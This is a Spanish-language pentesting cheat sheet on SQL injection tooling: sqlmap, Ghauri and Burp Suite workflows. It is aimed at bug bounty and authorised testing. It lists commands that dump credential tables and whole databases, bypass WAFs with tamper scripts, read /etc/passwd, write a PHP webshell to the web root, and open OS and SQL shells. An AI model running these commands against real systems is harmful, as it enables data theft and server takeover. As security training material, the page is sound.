herramientas-y-recursos
Herramientas y recursos
Section titled “Herramientas y recursos”SQLmap
Section titled “SQLmap”La herramienta más completa para automatizar la detección y explotación de SQLi.
Instalación
Section titled “Instalación”# Clonar repo oficialgit clone https://github.com/sqlmapproject/sqlmap.git
# O instalar vía pippip install sqlmap
# Uso básicopython3 sqlmap.py -u "https://target.com/item?id=1"Comandos esenciales
Section titled “Comandos esenciales”Detección básica
# URL con parámetro GETsqlmap -u "https://target.com/item?id=1"
# Parámetros POSTsqlmap -u "https://target.com/login" --data="username=admin&password=test"
# Desde una petición guardada de Burp (más completo)sqlmap -r request.txt
# Especificar parámetro vulnerablesqlmap -u "https://target.com/item?id=1&cat=2" -p id
# Añadir cookie de sesiónsqlmap -u "https://target.com/item?id=1" --cookie="session=abc123"
# Añadir headerssqlmap -u "https://target.com/item?id=1" -H "Authorization: Bearer token123"Enumeración
# Obtener banner del DBMSsqlmap -u "..." --banner
# Obtener usuario actual de la DBsqlmap -u "..." --current-user
# Obtener base de datos actualsqlmap -u "..." --current-db
# Listar todas las bases de datossqlmap -u "..." --dbs
# Listar tablas de una BDsqlmap -u "..." -D nombre_db --tables
# Listar columnas de una tablasqlmap -u "..." -D nombre_db -T nombre_tabla --columns
# Dump de una tabla completasqlmap -u "..." -D nombre_db -T nombre_tabla --dump
# Dump de columnas específicassqlmap -u "..." -D nombre_db -T nombre_tabla -C "username,password" --dump
# Dump de toda la base de datossqlmap -u "..." -D nombre_db --dump-all
# Dump de todo (todas las BDs)sqlmap -u "..." --dump-allTécnicas específicas
# Forzar técnica específica# B=Boolean, E=Error, U=Union, S=Stacked, T=Time, Q=Inlinesqlmap -u "..." --technique=U # solo Union-Basedsqlmap -u "..." --technique=BT # Boolean + Timesqlmap -u "..." --technique=BEUSTQ # todas
# Especificar DBMS manualmente (ahorra tiempo de detección)sqlmap -u "..." --dbms=mysqlsqlmap -u "..." --dbms=postgresqlsqlmap -u "..." --dbms=mssqlsqlmap -u "..." --dbms=oracleBypass de WAF con tamper scripts
# Ver todos los tamper scripts disponiblesls $(python3 -c "import sqlmap; print(sqlmap.__file__.replace('__init__.py',''))")tamper/
# Uso de tamper scriptssqlmap -u "..." --tamper=space2commentsqlmap -u "..." --tamper=between,randomcase,space2commentsqlmap -u "..." --tamper=charencodesqlmap -u "..." --tamper=modsecurityversioned
# Tamper scripts más útiles# space2comment → reemplaza espacios por /**/# between → reemplaza > con NOT BETWEEN# randomcase → aleatoriza mayúsculas/minúsculas# charencode → URL-encode de caracteres# base64encode → codifica en base64# equaltolike → reemplaza = con LIKE# greatest → reemplaza > con GREATEST# modsecurityversioned → comentarios versionados MySQLExplotación avanzada
# Leer archivo del sistemasqlmap -u "..." --file-read="/etc/passwd"sqlmap -u "..." --file-read="C:\\Windows\\win.ini"
# Escribir archivo (webshell)sqlmap -u "..." --file-write="./shell.php" --file-dest="/var/www/html/shell.php"
# Ejecutar comandos del SOsqlmap -u "..." --os-cmd="whoami"
# Shell interactiva del SOsqlmap -u "..." --os-shell
# Shell interactiva de la DBsqlmap -u "..." --sql-shell
# Escalar privilegios (MSSQL xp_cmdshell)sqlmap -u "..." --priv-escFlags de rendimiento y evasión
# Nivel de tests (1-5, por defecto 1)sqlmap -u "..." --level=3 # testea más parámetros (headers, cookies)sqlmap -u "..." --level=5 # testea todo incluyendo User-Agent, Referer
# Riesgo de los payloads (1-3, por defecto 1)sqlmap -u "..." --risk=2 # más agresivosqlmap -u "..." --risk=3 # puede hacer UPDATE/DELETE (cuidado en producción)
# Delay entre peticiones (evasión de rate limiting)sqlmap -u "..." --delay=1 # 1 segundo entre requests
# Timeoutsqlmap -u "..." --timeout=30
# Retries en caso de errorsqlmap -u "..." --retries=3
# Threadssqlmap -u "..." --threads=5
# Proxy (para ver en Burp)sqlmap -u "..." --proxy="http://127.0.0.1:8080"
# Verbose (1-6)sqlmap -u "..." -v 3Workflow típico con Burp
# 1. Capturar la petición en Burp → Save item → request.txt
# 2. Detección básicasqlmap -r request.txt --dbs
# 3. Enumerar tablas de la BD encontradasqlmap -r request.txt -D target_db --tables
# 4. Dump de usuariossqlmap -r request.txt -D target_db -T users --dump
# 5. Si hay WAFsqlmap -r request.txt -D target_db -T users --dump --tamper=space2comment,randomcase --random-agentGhauri
Section titled “Ghauri”Alternativa más moderna a sqlmap, con mejor soporte para WAF bypass.
# Instalaciónpip3 install ghauri
# Uso básicoghauri -u "https://target.com/item?id=1"
# Con request fileghauri -r request.txt
# Técnicas y dumpghauri -u "..." --dbsghauri -u "..." -D target_db --tablesghauri -u "..." -D target_db -T users --dumpBurp Suite
Section titled “Burp Suite”Burp es esencial para identificar y explotar SQLi manualmente.
Detección con Scanner (Pro)
Section titled “Detección con Scanner (Pro)”Target → Site map → clic derecho sobre el request → ScanActive Scan → SQLi detectado automáticamenteExplotación manual con Repeater
Section titled “Explotación manual con Repeater”1. Interceptar la petición → Send to Repeater2. Modificar el parámetro vulnerable3. Enviar y analizar la respuesta4. Iterar con distintos payloadsFuerza bruta con Intruder
Section titled “Fuerza bruta con Intruder”1. Send to Intruder2. Marcar posición del payload (§payload§)3. Cargar lista de payloads SQLi4. Buscar diferencias en respuestas (longitud, contenido)
-- Listas de payloads recomendadas:-- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection-- SecLists/Fuzzing/SQLi/Recursos y referencias
Section titled “Recursos y referencias”| Recurso | URL |
|---|---|
| PayloadsAllTheThings - SQLi | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection |
| PortSwigger SQLi Labs | https://portswigger.net/web-security/sql-injection |
| sqlmap docs | https://sqlmap.org |
| HackTricks SQLi | https://book.hacktricks.xyz/pentesting-web/sql-injection |
| PentestMonkey SQLi cheatsheet | http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet |
Usar sqlmap con
-r request.txtes más fiable que con-u, ya que replica exactamente la petición capturada incluyendo todos los headers y cookies.
Antes de automatizar con sqlmap, siempre confirmar la inyección manualmente en Burp para entender bien el comportamiento de la aplicación.
En entornos de producción (bug bounty, pentests reales), usar
--risk=1 --level=1por defecto y subir gradualmente. El--risk=3puede hacer modificaciones en la base de datos.